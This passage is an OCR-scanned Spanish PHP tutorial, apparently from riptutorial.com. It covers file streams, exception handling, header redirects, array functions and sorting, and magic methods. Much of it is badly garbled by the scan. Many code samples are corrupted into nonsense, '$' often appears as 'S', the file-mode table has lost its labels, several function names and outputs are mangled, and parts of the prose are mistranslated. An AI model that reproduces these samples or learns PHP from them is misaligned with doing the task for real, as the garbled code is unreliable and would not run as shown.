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Modo Descripción 


E 


ER 


w+ 


a+ 


x+ 


c+ 


Abrir en modo de solo lectura, comenzando desde el principio del archivo 
Abierto para lectura y escritura, comenzando desde el principio del archivo. 


Abierto solo para escritura, comenzando desde el principio del archivo. Si el archivo 
existe, vaciará el archivo. Si no existe intentará crearlo. 


Abierto para lectura y escritura, comenzando desde el principio del archivo. Si el 
archivo existe, vaciará el archivo. Si no existe intentará crearlo. 


abra un archivo solo para escritura, comenzando al final del archivo. Si el archivo no 
existe, intentará crearlo. 


abra un archivo para leer y escribir, comenzando al final del archivo. Si el archivo no 
existe, intentará crearlo. 


crear y abrir un archivo para escritura solamente. Si el archivo existe la llamada 
fopen fallará 


Crea y abre un archivo para leer y escribir. Si el archivo existe la llamada fopen 
fallará 


abrir el archivo para la escritura solamente. Si el archivo no existe, intentará crearlo. 
Comenzará a escribir al principio del archivo, pero no vaciará el archivo antes de 
escribir. 


Abre el archivo para leer y escribir. Si el archivo no existe, intentará crearlo. 
Comenzará a escribir al principio del archivo, pero no vaciará el archivo antes de 
escribir. 


Al agregar una + detrás del modo (por ejemplo, a+» , we , etc.) en Windows se traducirán los finales 
de línea nr a "irin" cuando se trabaje con el archivo. Agregue » detrás del modo si esto no está 
destinado, especialmente si es un archivo binario. 


La aplicación PHP debe cerrar las secuencias utilizando +-:0s+ cuando ya no se utilizan para 


evitar el error too many open files. 


Esto es particularmente importante en los programas CLlI, ya 


que las transmisiones solo se cierran cuando se cierra el tiempo de ejecución, lo que significa que 
en los servidores web puede que no sea necesario (pero aún debería , como práctica para evitar 
la pérdida de recursos) cerrar las transmisiones. si no espera que el proceso se ejecute durante 
mucho tiempo y no abrirá muchas secuencias. 


Leyendo 


Usando treaa leerá el número dado de bytes desde el puntero del archivo, o hasta que se cumpla 


un EOF. 
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Líneas de lectura 


El uso de tus: s leerá el archivo hasta que se alcance un EOL, o se lea la longitud dada. 


Tanto tread COMO fyets moverán el puntero del archivo mientras lee. 


Leyendo todo lo que queda 


El uso de stream get_ contents hará que todos los bytes restantes en el flujo en una cadena y lo 
devuelvan. 


Ajuste de la posición del puntero del archivo 


Inicialmente, después de abrir el flujo, el puntero del archivo está al principio del archivo (o al final, 
si se usa el modo a ). El uso de la función +s+*. moverá el puntero del archivo a una nueva 
posición, en relación con uno de los tres valores: 


* SEEK_ set : este es el valor predeterminado; el desplazamiento de posición del archivo será 
relativo al principio del archivo. 

ÑEK_CUR : El desplazamiento de la posición del archivo será relativo a la posición actual. 
EEK END : El desplazamiento de posición del archivo será relativo al final del archivo. Pasar 


un desplazamiento negativo es el uso más común para este valor; moverá la posición del 
archivo al número especificado de bytes antes del final del archivo. 


n un 


rewina es Un atajo de conveniencia de fseex ($£h, 0, SEEK_SET) . 


El uso de ++.11 mostrará la posición absoluta del puntero del archivo. 


Por ejemplo, el siguiente script lee omite los primeros 10 bytes, lee los siguientes 10 bytes, omite 
10 bytes, lee los siguientes 10 bytes y luego los últimos 10 bytes en file.txt: 


ña = oca (Mel. ar, Made 

cscals (Sila, 110) p 4/ electo eme ojpresce AU 

echo fread($fh, 10); // reads 10 bytes 

fseek($fh, 10, SEE UR); // skip 10 bytes 

echo fread ($fh, 10 // read 10 bytes 

fseek($fh, -10, SEEK_END); // skip to 10 bytes before EOF 
echo fread($fh, 10); // read 10 bytes 

Felose (Sila)? 


En = 
Q 


- 


Escritura 


El uso de +»:++ escribe la cadena proporcionada en el archivo comenzando en el puntero del 
archivo actual. 


fwrite($fh, "Some text hereln"); 


https://riptutorial.com/es/nome 341 


Mover y copiar archivos y directorios 


Copiando documentos 


copy Copia el archivo de origen en el primer argumento al destino en el segundo argumento. El 
destino resuelto debe estar en un directorio que ya esté creado. 


1 (co (test ea, “"eestote )) 4 
echo 'File has been copied successfully'; 


) else ( 
echo 'Failed to copy file to destination given.' 


Copiando directorios, con recursion. 


Copiar directorios es muy similar a eliminar directorios, excepto que para copy archivos en lugar 
de uni. se usa, mientras que para directorios, mx«: + lugar de a: se usa al principio en lugar 
de estar al final de la función. 


function recurse_delete_dir(string $src, string $dest) : int ( 
Scount == 0 


// ensure that $src and $dest end with a slash so that we can concatenate it with the 
filenames directly 

Ssze = rezinmisdasse, YN) o. Y/W 

Sdeste = merimilbdeste, YYANO) . "Te 


Il use cie) o lllee flles 
Silisie = Che (SS) A 


// create $dest if it does not already exist 
EGmkdir ($dest); 


UU Scozs as mese file dee o Siídlde, le Seville de False, Wase's sull == Gael Tas log. 
while(($file = $list->read()) !== false) ( 
1 (Siles === ",Y |] Séátle === ,.M) comulaues 


dí (ls file (Ssre . S$ELIE)) 
copy (sie . Siíille, Seest , Siles), 
Scount++; 
Leire (Ssze . SeLle)i) 
Scount += recurse copy _ dir ($srce . $file, $dest . $file); 


) elseif (is 


) 


return $count; 


Renombrando / Moviendo 


Renombrar / Mover archivos y directorios es mucho más simple. Se pueden mover o renombrar 
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directorios completos en una sola llamada, usando la función de renano . 
* rename("-/file.txt", "-/file.html"); 
* rename("-/dir", "-/o1ld_dir"); 


* rename("-/dir/file.txt", "-/dir2/file.txt"); 


Lea Manejo de archivos en línea: https://riptutorial.com/es/php/topic/1426/manejo-de-archivos 
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Capítulo 64: Manejo de excepciones y reporte 
de errores 


Examples 


Configuración de informes de errores y dónde mostrarlos. 


Si aún no se ha hecho en php.ini, el informe de errores se puede configurar dinámicamente y se 
debe configurar para permitir que se muestren la mayoría de los errores: 


Sintaxis 


dae erigir meaynsclas (| dae Sleyel 1] ) 
Ejemplos 


// should always be used prior to 5.4 


error_reporting(E_ALL); 


// =1 will show every possibl rror, even when new levels and constants are added 


// in future PHP versions. E_ALL does the same up to 5.4. 
error_reporting(-1); 


// without notices 


error_reporting(E_ALL £ -“E_NOTICE); 


// only warnings and notices. 


// for the sake of example, one shouldn't report only those 
error_reporting(E_WARNING | E_NOTICE); 


los errores se registrarán de forma predeterminada por php, normalmente en un archivo error.log 
al mismo nivel que el script en ejecución. 


En el entorno de desarrollo, también se pueden mostrar en pantalla: 
ini_set ('display_errors', 1); 

en producción sin embargo, uno debe 
ini_set('display_errors', 0); 


y mostrar un mensaje de problema amigable mediante el uso de un controlador de Excepción o 
Error. 


Manejo de excepciones y errores. 
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trata de atraparlo 


try. .catch bloques try..catcn Se pueden usar para controlar el flujo de un programa donde se 
pueden lanzar excepciones . Se pueden capturar y manejar con gracia en lugar de dejar que PHP 
se detenga cuando se encuentra uno: 


Cie dl 
DORSO UACAROAPE S 
throw new Exception('My test exception!'); 


) catch (Exception $ex) ( 
Il Sia Lope seulilcol., Mae Clo wo friale teo elo eloowie idlasie 2 lor es 
file _ put_contents('my_error_log.txt', S$ex->getMessage(), FILE_APPEND); 


El ejemplo anterior podría catcn la Excepción lanzada en el bloque de +-y y registrar su mensaje 
("¡Mi excepción de prueba!”) A un archivo de texto. 


La captura de diferentes tipos de excepción 


Puede implementar varias declaraciones catcn para que los diferentes tipos de excepciones se 
manejen de diferentes maneras, por ejemplo: 


LIE al 
throw new InvalidArgumentException('Argument +1 must be an integer!'); 


) catch (InvalidArgumentException Sex) ( 
var_dump ('Invalid argument exception caught: ' . $ex->getMessage()); 


) catch (Exception $ex) ( 
var_dump ('Standard exception caught: ' . $ex->getMessage()); 


En el ejemplo anterior, se utilizará la primera catcn , ya que coincide primero en el orden de 
ejecución. Si intercambiaba el orden de las instrucciones catcn , el catcher exception se ejecutaría 
primero. 


De manera similar, si tuviera que lanzar Una Exception UnexpectedValuerxcept ion Cambio, vería el 
segundo controlador de una Exception estándar que se está utilizando. 


finalmente 


Si necesita hacer algo después de que se haya ejecutado un try O UN catch , puede usar una 
sentencia finally : 


try 1 
throw new Exception('Hello world'); 


) catch (Exception $e) ( 
echo 'Uh oh! ' . Se->getMessagel(); 
p Eimealilsy 
echo " - I'm finished now home time!"; 


) 
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El ejemplo anterior daría como resultado lo siguiente: 


¡UH oh! Hola mundo - Ya terminé - ¡hora de casa! 


lanzable 


En PHP 7 vemos la introducción de la interfaz de r1r02512 , que implementa tanto el ; 
Exception . Esto agrega un nivel de contrato de servicio entre las excepciones en PHP 7 y le 


la 
permite implementar la interfaz para sus propi 


Shandler function(1Throwable Sex) 
$msg = "[ ($ex->getCode()) ] 


mail ('adminfserver.com', $ex->getMessag 


( 
[Sex->getTr 


echo myNiceErrorMessageFunction (); 
y; 


set_exception_handler ($handler); 
set_error_handler ($handler); 


Antes de PHP 7, simplemente puede escribir : 
todas las clases de excepción lo amplían. 


Registro de errores fatales 


En PHP, un error fatal es un tipo de error que 


Exror COMO 


as excepciones personalizadas: 


aceAsString())"; 
(), $msg); 


Exception SUgerencia, ya que a partir de PHP 5 


no se puede detectar, es decir, después de 


experimentar un error fatal, un programa no se reanuda. Sin embargo, para registrar este error o 


manejar de alguna manera el bloqueo, puede 
controlador de apagado. 


function fatalErrorHandler () ( 


USal' register_shutdown_function Para registrar el 


rror means that 


// Let's get last error that was fatal. 
Serror = error_get_last(); 
// This is error-only handler for exampl 


// there were no error and shutdown was 
// only fatal errors. 


purposes; no 
proper. Also ensure it will handle 


if (null === ferror || E_ERROR != Serror['type']) ( 
return; 
) 
// Log last error to a log file. 
// let's naively assume that logs are in the folder inside the app folder. 


$logFile = fopen("./app/logs/error.log", 


// Get useful info out of error. 


Stype = Serror["type"]; 
Sfile = Sferror["file"]; 
Sline = Sferror["line"]; 
$Smessage = Serror["message"] 
fprintf ( 

SlogFile, 


Mas ss Ss a serena”, 
date ("Y=m=d H:i:s"), 


$type, 
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$Smessage, 
SIGIAIIES 
Sline); 


fclose ($logFile); 


register_shutdown_function('fatalErrorHandler'); 


Referencia: 


* http://php.net/manual/en/function.register-shutdown-function.php 
* http://php.net/manual/en/function.error-get-last.php 
* http://php.net/manual/en/errorfunc.constants.php 


Lea Manejo de excepciones y reporte de errores en línea: 
https://riptutorial.com/es/php/topic/391/manejo-de-excepciones-y-reporte-de-errores 
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Capítulo 65: Manipulación De Cabeceras 


Examples 


Configuración básica de un encabezado 


Aquí hay una configuración básica del encabezado para cambiar a una nueva página cuando se 


hace clic en un botón. 


if (isset ($_REQUEST['action'])) 
( 


switch (Ss 2REQUES TI Mactilon 1) 
[ //Setting the Header based on which button is clicked 


Case 'getState': 
header ("Location: http://NewPageForState.com/getState.php?search=" 
SEPOS Tse cn 
break; 


Case 'getProjJect': 
header ("Location: http://NewPageForProject.com/getProject .php?search=" 
SEPOS Tse ch 
break; 


else 


GetSearchTerm(!NULL); 


//Forms to enter a State or Project and click search 
function GetSearchTerm($success) 


1f (1s_null($success)) 
[ 
echo "<h4>You must enter a state or project number</h4>"; 

) 

echo "<center><strong>Enter the State to search for</strong></center><p></p>"; 

//Using the $_SERVER['PHP_SELF'] keeps us on this page till the switch above determines 
where to go 

echo "<form action='" . $_SERVER['PHP_SELF'] . "' enctype='multipart/form-data' 
method='POST'> 

<input type='hidden' name='action' value='getState'> 


<center>State: <input type='text' name='search' size='10'></center><p></p> 
<center><input type='submit' name='submit' value='Search State'></center> 
</Edim>Yp 


GetSearchTermProject ($success); 


function GetSearchTermProject ($success) 
[ 
echo "<center><br><strong>Enter the Project to search for</strong></center><p></p>"; 
echo "<form action='" . $_SERVER['PHP_SELF'] . "' enctype='multipart/form-data' 
method='POST'> 
<input type='hidden' name='action' value='getProject'> 


<center>Project Number: <input type='text' name='search' 
size='10'></center><p></p> 

<center><input type='submit' name='submit' value='Search Project'></center> 

</Eorm>p 
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2> 


Lea Manipulación De Cabeceras en línea: https://riptutorial.com/es/php/topic/3717/manipulacion- 
de-cabeceras 
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Capítulo 66: Manipulando una matriz 


Examples 


Eliminar elementos de una matriz 
Para eliminar un elemento dentro de una matriz, por ejemplo, el elemento con el índice 1. 


Sfruit = array ("bananas", "apples", "peaches"); 
visa (Sitreuite LL 


Esto eliminará las manzanas de la lista, pero tenga en cuenta que unset no cambia los índices de 
los elementos restantes. Así que srrui+ ahora contiene los índices o y 2 . 


Para matrices asociativas puedes eliminar así: 


Sfruit = array('banana', 'one'=>'apple', 'peaches'); 


¡orcas 12 (Sitrabie) p 


E 
AFrTAY 
( 
[0] => banana 
[one] => apple 
[1] => peaches 
) 
E 


unset (Sfruit['one']); 


Ahora $ fruta es 


¡ojcalioue 2 (Sierabilie) A 


/* 
Array 
( 
[0] => banana 
[1] => peaches 
) 
“sl 


Tenga en cuenta que 


Umsct (SiErmile) 


anula la variable y, por lo tanto, elimina toda la matriz, lo que significa que ninguno de sus 
elementos es accesible. 
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Eliminando elementos terminales 


array shift () : desplaza un elemento fuera del principio de la matriz. 
Ejemplo: 


Sfruit = array ("bananas", "apples", "peaches"); 
cisicay smile (Sicicuie) $ 
¡calme ie (SúBicuáLe ) y 


Salida: 


Array 


( 
[0] => apples 
[1] => peaches 


array pop () : saca el elemento del final de la matriz. 
Ejemplo: 


Sfruit = array ("bananas", "apples", "peaches"); 
array_pop($fruit); 
¡Salime je (SirreuiLe) A 


Salida: 


Array 
( 


[0] => bananas 
[1] => apples 


Filtrando una matriz 


Para filtrar los valores de una matriz y obtener una nueva matriz que contenga todos los valores 


que satisfacen la condición del filtro, puede utilizar la función array_filter . 


Filtrado de valores no vacíos 


El caso más simple de filtrado es eliminar todos los valores "vacíos": 


Sia _eueciaa, = [L, 0,2, bl, SS, 4 4 M4 0 7/31 


$non_empties = array_filter ($my_array); // $non_empties will contain [1,2,3,4,5,6,7,81; 
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Filtrado por devolución de llamada 


Esta vez definimos nuestra propia regla de filtrado. Supongamos que queremos obtener solo 
números pares: 


Say _arzay = [1,2,3/418,07 1814 


Seven_numbers = array_filter ($my_array, function ($number) ( 


9 


return $number $% 2 === 0; 


DH; 


La función array_fi1ter recibe la matriz que se filtra como su primer argumento y una devolución 


de llamada que define el predicado del filtro como su segundo. 


5.6 


Filtrado por índice 


Se puede proporcionar un tercer parámetro a la función array_filter , que permite ajustar qué 
valores se pasan a la devolución de llamada. Este parámetro se puede establecer en 
ARRAY_FILTER_USE_KEY O ARRAY_FILTER_USE_BOTH , lo que dará como resultado que la devolución de 
llamada reciba la clave en lugar del valor para cada elemento de la matriz, o el valor y la clave 
como sus argumentos. Por ejemplo, si desea lidiar con índices, hágalo de valores: 


Ssoavileszs = 116,3, 5/,8/ 1,4101 
Seven_indexed_numbers = array_filter ($numbers, function ($index) ( 
Sculiaa Saimcker + 2 === (09 


), ARRAY FILTER_USE_ KEY); 


Índices en matriz filtrada 


Tenga en cuenta que array_filter Conserva las claves de matriz originales. Un error común sería 


intentar un uso for un bucle sobre la matriz filtrada: 


<?php 


Guy arzey = [ML,0/2/GuLIL, 3, "4, 11,507, 14817 
Sfiltered = array_filter ($my_array); 


error_reporting(E_ALL); // show all errors and notices 


Il arc cal locas "Eo loja 
Foz (SL = 0p $ < count (Still Lleezed)., Sisa) 4 
print Sfiltered[$Si]l; 


/¡* 
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Output : 

dl 

Notice: Undefined offset: 1 
2 

Notice: Undefined offset: 3 
S) 

Notice: Undefined offset: 5 
4 

Notice: Undefined offset: 7 
3/s 


Esto sucede porque los valores que estaban en las posiciones 1 (había o ), 3 ( nu11 ), 5 (cadena 
vacía ': ) y 7 (matriz vacía [1 ) se eliminaron junto con sus claves de índice correspondientes. 


Si necesita recorrer el resultado de un filtro en una matriz indexada, primero debe llamar a 
array_values en el resultado de array_filter para crear una nueva matriz con los índices 
correctos: 


cuy euczeay = [10,2 mb, 3, "4, 11,807 17819 

Sfiltered = array_filter ($my_array); 

Siterable = array_values ($filtered); 
error_reporting(E_ALL); // show all errors and notices 


for ($i = 0; $i < count (Siterable); $Si++) ( 
print Siterable[S$Si]; 
) 


// No warnings! 


Añadiendo elemento al inicio del array. 


A veces desea agregar un elemento al principio de una matriz sin modificar ninguno de los 
elementos actuales ( orden ) dentro de la matriz . Siempre que este sea el caso, puede usar 


array _uUnshitrt().. 


array _unshi£t () anula los elementos pasados al frente de la matriz. Tenga en cuenta 
que la lista de elementos está precedida como un todo, de modo que los elementos 
prefabricados permanecen en el mismo orden. Todas las teclas de matriz numérica se 
modificarán para comenzar a contar desde cero, mientras que las teclas literales no se 
tocarán. 


Tomado de la documentación de PHP para array_unshift () . 
Si desea lograr esto, todo lo que necesita hacer es lo siguiente: 


SmyArray = array (1, 2, 3); 


array_unshift ($myArray, 4); 


Esto ahora agregará 4 como el primer elemento en su matriz. Puedes verificar esto por: 
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print_r($myArray); 


Esto devuelve una matriz en el siguiente orden: 4, 1, 2, 3. 


Dado que array_unshife Obliga a la matriz a restablecer los pares clave-valor, ya que el nuevo 


elemento permite que las siguientes entradas tengan las claves »+1 , es más inteligente crear una 


nueva matriz y agregar la matriz existente a la nueva matriz creada. 


Ejemplo: 
SmyArray = array ('apples', 'bananas', 'pears'); 
SmyElement = array ('oranges'); 


$joinedArray = $myElement; 


foreach ($myArray as $1) ( 
SjoinedArray[] = $i; 


Salida ($ joinedArray): 


Array ( [0] => oranges [1] => apples [2] => bananas [3] => pears ) 


Eaxmple / Demo 
Lista blanca solo algunas claves de matriz 


Cuando quiera permitir solo ciertas claves en sus arreglos, especialmente cuando el arreglo 
proviene de parámetros de solicitud, puede USar array_intersect_key junto CON array_flip. 


Sparameters = ['foo' => 'bar', 'bar' => 'baz', 'boo' => 'bam']; 

SallowedKeys = ['foo', 'bar']; 

SfilteredParameters = array_intersect_key ($parameters, array _flip(S$allowedKeys)); 
Il Sid licerecirarcmercars comueculas [too => Mar", "oem" => "az] 


Si el parameters Variable no contiene ninguna clave permitido, entonces el srilteredParameters 
variable de consistirá en una matriz vacía. 


Desde PHP 5.6 también puede usar arr=y +i1+e- para esta tarea, pasando el indicador 
ARRAY _FILTER_USE_keY COMO tercer parámetro: 


Sparameters = ['foo' => 1, 'hello' => 'world']; 
SallowedKeys = ['foo', 'bar']; 


SfilteredParameters = array_filter( 
Sparameters, 
function ($key) use ($allowedKeys) ( 
return in_array($key, $allowedKeys); 
y, 
ARRAY_FILTER_USE_KEY 


5 


El uso de array_fi1ter brinda la flexibilidad adicional de realizar una prueba arbitraria contra la 
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clave, por ejemplo, $a11owedkeys podría contener patrones de s$a1l1owedKeys regulares en lugar de 
cadenas simples. También establece más explícitamente la intención del código que 
array_intersect_key() combinado con array_flip(). 


Ordenar una matriz 


Hay varias funciones de clasificación para arreglos en php: 


ordenar() 


Ordenar una matriz en orden ascendente por valor. 


Sezmtes = [MAltzome", "Orange", Memame", Motel], 
sore (Sicrabules) 7 
jopcalimie 2 (Serbia) y 


resultados en 


=> Apfel 
> Banane 


=> Orange 
=> Zitrone 


rsort () 


Ordenar una matriz en orden descendente por valor. 


Sizes = [Alecome", "Ora", Meme", "Miorel"I, 
sonas ernuites) 
jopcalioue, 12 (Siero) A 


resultados en 


=> Zitrone 
=> Orange 
=> Banñane 
=> Apfel 


un tipo() 
Ordena una matriz en orden ascendente por valor y preserva los indecisos. 
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Sesuiles = (Ll => “lemon! , => 'orange', => 'banana', 4 => 'apple']; 
asoma (Sicremiles)p 
¡ojcalioue 12 (Sia vbles) A 


resultados en 


Array 

( 
[4] => apple 
[3] => banana 
[1] => lemon 
[2] => orange 


Arsort () 


Ordene una matriz en orden descendente por valor y conserve los indecisos. 


sicuites = ML => "lémont., => 'orange', => 'banana', 4 => 'apple']; 
ansort (Struts) 
PEN (acuse 


resultados en 


Array 

( 
[2] => orange 
[1] => lemon 
[3] => banana 
[4] => apple 


ksort () 


Ordenar una matriz en orden ascendente por clave 


Sfruits = ['d'=>'lemon', 'a'=>'orange', 'b'=>'banana', 'c'=>'apple']; 
ksort ($fruits); 
jepcalimie 2 (Series) y 


resultados en 


Array 

( 
[a] => orange 
[b] => banana 
[c] => apple 
[d] => lemon 
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krsort () 


Ordenar una matriz en orden descendente por clave. 


Sfruits = ['d'=>'lemon', 'a'=>'orange', 'b'=>'banana', 'c'=>'apple']; 
asoma (Sicreualies) 7 
jopcalioúe 2 (Siero) y 


resultados en 


Array 

( 
[d] => lemon 
le] => epple 
[b] => banana 
[a] => orange 


natsort () 


Ordene una matriz de la forma en que lo haría un ser humano (orden natural). 


stiles = [miles stacie", "ile. .stacie", "file, stacio", '"Eilels.crack"', Miles. stacio! 1, 
natsort ($files); 
prcdiae  (Stadles)>o 


resultados en 


Array 

( 
[4] => File2.stack 
[0] => File8.stack 


=> filel3.stack 


] 
] 
[2] => file7.stack 
] 
] => file77.stack 


natcasesort () 


Ordene una matriz de la forma en que lo haría un ser humano (orden natural), pero con uso 
intensivo de casos. 


síiles = [miles staci", "ile? .stacie", "file, stadi", '"Ellels. crack", 'Mile2.sutaci! 1, 
natcasesort ($files); 
¡rca 2 (Stade), 


resultados en 
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] => File2.stack 
] => file7.stack 
[0] => File8.stack 
] => filel3.stack 
] => file77.stack 


barajar() 


Baraja una matriz (ordenada al azar). 


Sazray = aa", “ay, “eel, 
shuffle (Sarray); 
PAIN (asa) e 


Como está escrito en la descripción, es aleatorio, por lo que aquí solo hay un ejemplo de lo que 
puede resultar 


Array 

( 
[úl es 
[1] => bb 
[21 => aa 


usort () 


Ordenar una matriz con una función de comparación definida por el usuario. 


function compare ($a, $b) 
( 
1f ($a == $b) ( 
ceicuica 0) 
) 
recusna (Sa < oy) BP =i 8 il 
) 


Saz = [S, 2 Ye o Ls 


usort (S$array, 'compare'); 
print or (array); 


resultados en 


AECAY 

( 
9] => 1 
[1] => 2 
[21 3> 3 
[1 => 5 
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uasort () 


Ordene una matriz con una función de comparación definida por el usuario y conserve las claves. 


function compare ($a, $b) 
( 
1f (Sa == $b) ( 
return 0; 
) 
recu (Sa < oy BP =iL 3 il 
) 


Sarray= al > ES 


uasort ($array, 'compare'); 
PR asa) 


resultados en 


Array 

( 
[el] => -5 
ls] => =3 
[a] => 1 
ell => 3 
[el => y 


uksort () 


Ordenar una matriz por claves con una función de comparación definida por el usuario. 


function compare ($a, $b) 
( 
1f (Sa == $b) ( 
return 0; 
) 
sercuisna (Sa < So) 2 =1L 2 ile 
) 


Seva = [Mes” => IL, “e => =3, 


uksort ($array, 'compare'); 
print or (array); 


resultados en 


Array 
( 
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q! 


=> 


5, 


1er => 3. 


90” => =31 7 


359 


[eel => 1 


lg] => -3 
[k] => 3 
sol == =5 
[4] => 5 


Intercambiar valores con claves. 


array_f1lip función array_£1ip intercambiará todas las claves con sus elementos. 


Scolors = array ( 
'"one' => 'red', 
'"two' => 'blue', 
'three' => 'yellow', 


5 


ebay lao (Scola) JA coje 


array ( 
'red' => 'one', 
'"blue' => 'two', 
'yellow' => 'three' 


Fusionar dos matrices en una matriz 


Sal = array ("red", "green"); 
Sa2 = array ("blue","yellow"); 
print_r(array_merge ($al,$a2)) 


¡+ 


Array ( [0] => red [1] => gr 


a 121 > Toba 


[3] => yellow ) 


+) 


Matriz asociativa: 


Sal=array ( USES av. "py!" => "gr 


an); 


Sa2=ar ray => tiña dd MgU=> Uy llow"); 


print_r(array_merge ($al, $a2)); 


/* 


Array ( la] => red [b] => yellow [c] => blue 


5 


1. Fusiona los elementos de uno o más arreglos juntos para que los valores de uno se 


) 


agreguen al final del anterior. Devuelve la matriz resultante. 


2. Si las matrices de entrada tienen las mismas claves de cadena, el valor posterior de esa 


clave sobrescribirá a la anterior. Sin embargo, si las matrices contienen claves numéricas, el 
valor posterior no sobrescribirá el valor original, sino que se agregará. 
3. Los valores en la matriz de entrada con claves numéricas se volverán a numerar con claves 
incrementales que comienzan desde cero en la matriz de resultados. 


Lea Manipulando una matriz en línea: https://riptutorial.com/es/php/topic/6825/manipulando-una- 
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matriz 
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Capítulo 67: Metodos magicos 


Examples 


_ get (), _ set (), _ 1sset () y _unset () 
Siempre que intentes recuperar un campo determinado de una clase como esta: 


Sanimal = new Animal (); 
Sheight = fanimal->height; 


PHP invoca el método mágico _ get ($name) , CON $name igual a "heign:" en este caso. Escribiendo 
en un campo de clase como tal: 


Sanimal->height = 10; 


__ set($name, $value) método mágico __set($name, $value) , CON $name igual a "height" Y $value 
igual a 10. 


PHP también tiene dos funciones isset () , que comprueba si existe una variable, y unset () , que 
destruye una variable. Verificando si un campo de objetos está configurado así: 


isset ($animal->height); 


__isset ($name) la función _ isset ($name) en ese objeto. Destruyendo una variable así: 


unset ($animal->height); 


__ unset ($name) la función __ unset ($name) en ese objeto. 


Normalmente, cuando no define estos métodos en su clase, PHP simplemente recupera el campo 
tal como está almacenado en su clase. Sin embargo, puede anular estos métodos para crear 
clases que puedan contener datos como una matriz, pero que se puedan usar como un objeto: 


class Example ( 
private $data = [l; 


public function __set ($name, $value) ( 
Sthis->data[$namel] = $value; 


) 
public function _ get ($name) ( 
if (!larray_key_exists($name, $this->data)) ( 
iSiculca bull o 


) 


return $this->data[$name]l; 
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public function __isset ($name) ( 
return isset ($this->data[$name]); 


) 


public function __unset ($name) ( 
unset ($this->data[$name]); 
) 
) 


Sexample = new Example (); 


// Stores 'a' in the $data array with value 15 
Sexample->a = 15; 


// Retrieves array key 'a' from the $data array 


cho S$example->a; // prints 15 


// Attempt to retrieve non-existent key from the array returns null 


cho $example->b; // prints nothing 
ME — ise (al) FEcUAANS prue, maea csull. mece (La) 


if (isset (f$example->a)) ( 
unset (Sexample->a)); 


Función vacía () y métodos mágicos. 


Tenga en cuenta que llamar a enp+ y «) en un atributo de clase invocará a _ isset () porque, como 


se indica en el manual de PHP: 


empty () es esencialmente el equivalente conciso de ! isset ($ var) || $ var == falso 


_ construir () y __ destruct () 


__construct () es el método mágico más común en PHP, porque se usa para configurar una clase 
cuando se inicializa. El opuesto del método _ construet () es el método _ destruct () . Se llama a 
este método cuando no hay más referencias a un objeto que creó o cuando fuerza su eliminación. 


La recolección de basura de PHP limpiará el objeto llamando primero a su destructor y luego 


eliminándolo de la memoria. 


class Shape ( 
aulsliles Eunerlicna Const zuere0) 1 
echo "Shape created!In"; 


) 


class Rectangle extends Shape ( 
public $width; 
public S$height; 


publiilefunetion =construcer (swidth, Sheight) 
parent::__construct(); 


Sthis->width = $width; 
$this->height = Sheight; 
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echo "Created ($this->width)x($this->height) Rectanglein"; 


public function __destruct () ( 
echo "Destroying ($this->width)x($this->height) Rectanglen"; 


function createRectangle () ( 
// Instantiating an object will call the constructor with the specified arguments 
Srectangle = new Rectangle (20, 50); 


// "Shape Created' will be printed 
// "Created 20x50 Rectangle' will be printed 


createRectangle/(); 

// '"Destroying 20x50 Rectangle' will be printed, becaus 

// the * $rectangle” object was local to the createRectangle function, so 
// When the function scope is exited, the object is destroyed and its 

// destructor is called. 


// The destructor of an object is also called when unset is used: 
unset (new Rectangle(20, 50)); 


__ Encadenar() 


Cuando un objeto se trata como una cadena, se llama al método _ tostring() . Este método debe 
devolver una representación de cadena de la clase. 


class User ( 
public $first_name; 
public $last_name; 
¡vigile Sacis— 


puolie Emerson —— toSerzlagí() 
return "($this->first_name) ($this->last_name) ($this->age)"; 


Suser = new User(); 

Suser->first_name = "Chuck"; 

Suser->last_name = "Norris"; 

Suser->age = 76; 

// Anytime the Suser object is used in a string context, __toString() is called 


celo Suse) // puliaes Chus Norzrzls (719) Y 


// String value becomes: 'Selected user: Chuck Norris (76)' 
Sselected_user_string = sprintf ("Selected user: %s", $user); 


Il Caostime Es sierilas else csullls — tos (1) 
Suser_as_string = (string) S$user; 


__ invocar() 
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Este método mágico se llama cuando el usuario intenta invocar el objeto como una función. Los 
posibles casos de uso pueden incluir algunos enfoques como la programación funcional o algunas 
devoluciones de llamada. 


class Invokable 


[ 
pk 


* This method will be called if object will b xecuted like a function: 


* Sinvokable(); 


* Args will be passed as in regular method call. 


Ed) 


publile Eunecr ion invoke ((Sareg, Rarg, ...) 


( 


print (uncigetta ros) 


// Example: 


Sinvokable 


= new Invokable(); 


Siamakciole (Ml, Ze SI) 


// optputs: 

Array 

( 
[0] => 1 
[11 => 2 
[2] => 3 


_ call () y _callStatic () 


_call() Y _callstatic() Cuando alguien llama a un método de objeto inexistente en un contexto 
de objeto o estático. 


class Foo 


( 


* This method will b 


* context, which does not exist, like: 


* $foo->method($arg, $argl); 


* First argument will contain the method name(in example above it will be 
* and the second will contain the values of Sarg and $argl as an array. 


es) 

PpublkiS 

[ 
17 
EN 
17 
e 
// 
Pe 
Pe 
EN 


function __ call ($method, $arguments) 


do something with that information here, like overloading 
or something generic. 

For sake of example let's say we're making a generic class, 
that holds some data and allows user to get/set/has via 
getter/setter methods. Also let's assume that there is some 
CaseHelper which helps to convert camelCase into snake_case. 


Also this method is simplified, so it does not check if there 


is a valid name or 


https://riptutorial.com/es/nome 


called when somebody will try to invoke a method in object 


"method"), 
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$snakeNam 


= CaseHelper: :camelToSnake ($method) ; 


// Get get/set/has prefix 


SsubMethod substr 


// Drop method name 


SpropertyName = sub 
switch ($subMethod) 
Case "get": 


return $thi 
MS CIA 
Sthis->data 
break; 
Mas Ye 


case 


case 


(S$snakeName, 0, 3); 


str ($snakeName, 4); 
( 
s=>data [$propertyName]; 


[SpropertyName] = S$arguments[0]; 


return isset ($this->data [$propertyName]); 


default: 
throw new B 


== — callsismis will 19s 
 SitEltle metilo 


* Foo::buildSomethingC 
* 
* First argument will 
"buildSomethingCoo1"), 
* and the second will 
* 
* Note that signature 
was not 
* available prior PHP 
5) 
pull Stato EUactlon 
( 
// This method can 


adMethodCallException ("Undefined method $method"); 


called from static content, that is, when calling a nonexistent 
cool (Sarg); 
contain the method name(in example above it will be 


contain the value $arg in an array. 


of this method is different (requires static keyword). 


__CallStatic($method, Sarguments) 


This method 


be used when you need something like generic factory 


Ls 
print_r(func_get_ar 


// or something 


Ejemplo: 


(to be honest us 
9s()); 


cas 


Sinstance = new Foo(); 

Sinstance->setSomeState ("foo"); 

var_dump ($instance->hasSomeState ()); // Lkool (true) 
var_dump ($instance->getSomeState ()); UN Siena "EYQ9QU 


Foo: :exampleStaticCall ("test"); 


// outputs: 
Array 
( 
